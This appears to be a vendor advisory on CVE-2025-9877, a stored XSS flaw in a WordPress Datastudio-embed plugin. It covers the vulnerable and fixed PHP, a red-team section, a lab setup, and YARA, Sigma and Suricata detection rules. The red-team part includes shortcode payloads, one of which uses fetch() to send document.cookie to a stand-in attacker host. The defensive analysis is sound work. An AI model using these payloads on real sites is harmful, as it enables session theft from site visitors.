CVE-2025-9877
Executive Summary
CVE-2025-9877 is a Stored Cross-Site Scripting (XSS) vulnerability in the Embed Google Datastudio WordPress plugin, affecting all versions up to and including 1.0.0. The flaw resides in the egds shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into pages. When any user (including administrators) visits the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is no longer maintained, and no official patch is available. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the risk remains for unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin hosted on the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s own codebase, which is no longer updated.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is Medium due to the requirement for authenticated access and the limited impact on confidentiality and integrity. However, the ability to execute arbitrary JavaScript in the context of any user visiting the page makes it a significant risk for WordPress sites with multiple contributors.
Deep Dive & Mechanics
The vulnerability is in the egds shortcode handler. The plugin registers a shortcode that accepts attributes such as url, height, and width. These attributes are directly echoed into the page without proper sanitization or output escaping. An attacker can inject malicious JavaScript by crafting a payload like:
[egds url="javascript:alert('XSS')" height="500" width="500"]
When the shortcode is processed, the url attribute is inserted into an <iframe> or <a> tag without escaping, allowing the javascript: URI scheme to execute. Alternatively, the attacker can use event handlers:
[egds url="https://example.com" height="500" width="500" onmouseover="alert(1)"]
The lack of wp_kses or esc_attr() on the attributes enables stored XSS. The injected script is stored in the WordPress database and executed on every page load.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.0.0):
function egds_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'height' => '600',
'width' => '800'
), $atts);
return '<iframe src="' . $atts['url'] . '" height="' . $atts['height'] . '" width="' . $atts['width'] . '"></iframe>';
}
add_shortcode('egds', 'egds_shortcode');
Patched Code (hypothetical fix):
function egds_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'height' => '600',
'width' => '800'
), $atts);
$url = esc_url($atts['url']);
$height = intval($atts['height']);
$width = intval($atts['width']);
return '<iframe src="' . $url . '" height="' . $height . '" width="' . $width . '"></iframe>';
}
add_shortcode('egds', 'egds_shortcode');
The fix uses esc_url() to sanitize the URL and intval() to ensure numeric values for height and width. Since no official patch exists, users must implement this fix manually or remove the plugin.
Exploitation & Lab Setup
Red Team (Exploitation)
- Prerequisites: Authenticated WordPress account with contributor-level or higher privileges.
- Craft Payload: Create a post or page containing the malicious shortcode:
[egds url="javascript:alert(document.cookie)" height="500" width="500"] - Inject Script: For more advanced attacks, use an event handler:
[egds url="https://example.com" height="500" width="500" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)"] - Trigger: Any user visiting the page will execute the script.
Lab Setup:
- Install WordPress 6.x with the Embed Google Datastudio plugin v1.0.0.
- Create a contributor user and log in.
- Create a new post with the malicious shortcode.
- Visit the post as an admin to observe XSS execution.
Blue Team (Detection & Prevention)
- Input Validation: Implement server-side validation for shortcode attributes using
esc_url()andintval(). - Content Security Policy (CSP): Add a CSP header to block inline scripts and restrict sources:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall (WAF): Deploy rules to block
javascript:URIs and event handlers in shortcode attributes. - User Education: Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embed-google-datastudio/embed-google-datastudio.php(version 1.0.0) - Database: Posts or pages containing the
[egds ...]shortcode with suspicious attributes (e.g.,javascript:,onload=,onmouseover=). - Network: Outbound requests to attacker-controlled domains from the WordPress server (if the XSS payload exfiltrates data).
- Logs: WordPress debug logs showing unexpected shortcode attribute values.
Detection Engineering
YARA Rule
rule CVE_2025_9877_Stored_XSS {
meta:
description = "Detects malicious shortcode attributes in Embed Google Datastudio plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9877"
strings:
$shortcode = "[egds" nocase
$xss1 = /javascript\s*:/i
$xss2 = /on\w+\s*=/i
condition:
$shortcode and ($xss1 or $xss2)
}
Sigma Rule
title: CVE-2025-9877 Stored XSS via Embed Google Datastudio Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects posts or pages containing malicious shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "[egds"
http.url|re: "(javascript:|on\w+=)"
condition: selection
falsepositives:
- Legitimate use of javascript: in shortcode (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9877 Stored XSS via Embed Google Datastudio Shortcode"; flow:to_server,established; content:"[egds"; http_uri; pcre:"/(javascript:|on\w+=)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable and uninstall the Embed Google Datastudio plugin if not in use.
- Code Fix: Manually patch the plugin by adding
esc_url()andintval()to the shortcode handler (see patched code above). - Alternative: Replace the plugin with a maintained alternative that supports Google Data Studio embeds.
- WAF Rules: Deploy virtual patching via WAF to block malicious shortcode attributes.
- User Access Control: Restrict contributor-level access to only trusted users.
- Monitoring: Enable WordPress audit logging to track shortcode usage.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.